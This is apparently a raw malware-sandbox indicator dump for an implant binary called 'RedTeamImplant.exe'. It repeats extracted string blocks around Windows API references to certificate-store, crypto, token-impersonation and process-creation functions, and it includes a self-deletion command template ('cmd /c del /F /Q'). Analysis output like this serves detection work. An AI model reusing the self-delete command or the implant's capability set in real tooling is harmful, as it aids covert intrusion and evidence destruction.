TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asi" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Time" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time36379788070" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe"), Found api reference "ttachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle67:T448,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe"), Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle68:Ta1f,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtim" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe"), Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe"), Found api reference "be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalldevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableW", missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth As" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe")69:T458,Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Tim" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe")6a:T45b,Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time3637978807" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe")6b:T45c,Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetF" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe")6c:T461,Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe")6d:T461,Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pa" (Indicator: "CertVerifyCertificateChainPolicy"; File: "RedTeamImplant.exe")6e:T4ed,Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CertCloseStore"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")6f:T4ed,Found api reference "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime: inUse=runtime: max = requested skip=bad panic stackrecovery failedstopm holding pstartm: m has ppreempt SPWRITEmissing mcache?ms: gomaxprocs=randinit missed]" (Indicator: "CryptGenRandom"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")70:T47b,Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs done" (Indicator: "CryptReleaseContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")71:Ta19,missing CPU support" (Indicator: "CertGetCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "bindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard TimeUS Mountain Standard TimeMiddle East Standard TimeTransbaikal Standard TimeW. Mongolia Standard TimeAfghanistan Standard TimeNorth Korea Standard TimeUlaanbaatar Standard TimeVladivostok Standard TimeAUS Central Standard TimeAUS Eastern Standard TimeKaliningrad Standard TimeNew Zealand Standard Time2006-01-02T15:04:05Z07:002910383045673370361328125GetSidIdentifierAuthorityGetFinalPathNameByHandleWgoroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeupruntime" (Indicator: "CertFreeCertificateChain"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp"), Found api reference "runtime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largefile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; Source: "00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp")72:T44f,Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime" (Indicator: "CertCloseStore"; File: "RedTeamImplant.exe")73:T44f,Found api reference "no deferreturnbad restart PC-thread limitstopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 failedsemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unreachable: RegSetValueExWcrypto/fips140mime/multipartx509sha256skidGetProcessTimesDuplicateHandle,M3.2.0,M11.1.0476837158203125invalid argSizeImpersonateSelfOpenThreadTokencomputeMaxProcsupdateMaxProcsGallocmRInternalGC (fractional)write heap dumpasyncpreemptoffcheckfinalizersforce gc (idle)sync.Mutex.Lockruntime.Goschedmalloc deadlockruntime error: scan missed a gmisaligned maskruntime: min = runtime" (Indicator: "CryptGenRandom"; File: "RedTeamImplant.exe")74:T454,Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdfile already existsfile does not existfile already closedembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timeinvalid write result37252902984619140625GetAdaptersAddressesNtSetInformationFileRtlIsDosDeviceName_UGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donep" (Indicator: "CryptReleaseContext"; File: "RedTeamImplant.exe")75:T455,Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CertOpenSystemStoreW"; File: "RedTeamImplant.exe")76:T455,Found api reference "acer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in goinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrshttplaxcontentlengthx509usefallbackrootsreflect.Value.Complexexec: already startedMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Time186264514923095703125931322574615478515625unsupported operationbad" (Indicator: "CryptAcquireContextW"; File: "RedTeamImplant.exe")77:T1d70,missing CPU supportexit hook invoked panicpattern bits too long: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asi" (Indicator: "CertGetCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "a Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625tracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartbad use of trace.seqlockfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid pattern syntax: South Sudan Standard Time" (Indicator: "CertFreeCertificateChain"; File: "RedTeamImplant.exe"), Found api reference "terinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time1455191522836685180664062572759576141834259033203125unknown ABI parameter kindSetFileInformationByHandleRtlNtStatusToDosErrorNoTeball goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusinconsistent process statusEaster Island Standard Time36379788070" (Indicator: "CertFreeCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreabi.NewName: tag too long: httpservecontentkeepheaderscmd /c del /F /Q "%s" & exitos: process already finishedGetFi" (Indicator: "CertEnumCertificatesInStore"; File: "RedTeamImplant.exe"), Found api reference "ttachedCertCreateCertificateContextabi.NewName: name too long: exec: Wait was already calledCentral America Standard TimeNorth Asia East Standard TimeN. Central Asia Standard TimeChatham Islands Standard TimeCentral Pacific Standard Time45474735088646411895751953125GetVolumeInformationByHandleWsync.WaitGroup.Wait (durable)executing on Go runtime stacknotesleep - waitm out of sync/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: p.gcMarkWorkerMode= scanobject of a noscan objectruntime: marking free object addspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=NtCreateWaitCompletionPacket" (Indicator: "CertCreateCertificateContext"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep wait_abandonedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyuse of closed network connectioninitial table capacity too large" not supported for cpu option "142108547152020037174224853515625710542735760100185871124267578125reflect: slice index out of range of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeskip everything and stop the walkGetVolumeNameForVolumeMountPointWslice bounds out of range [%x:%y]base outside usable address spaceruntime: memory allocated by OS [misrounded allocation in sysAllocruntime: failed to decommit pages/cpu/classes/gc/pau" (Indicator: "CertAddCertificateContextToStore"; File: "RedTeamImplant.exe"), Found api reference "_cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnedruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueruntime: setevent failed; errno=runtime.semasleep 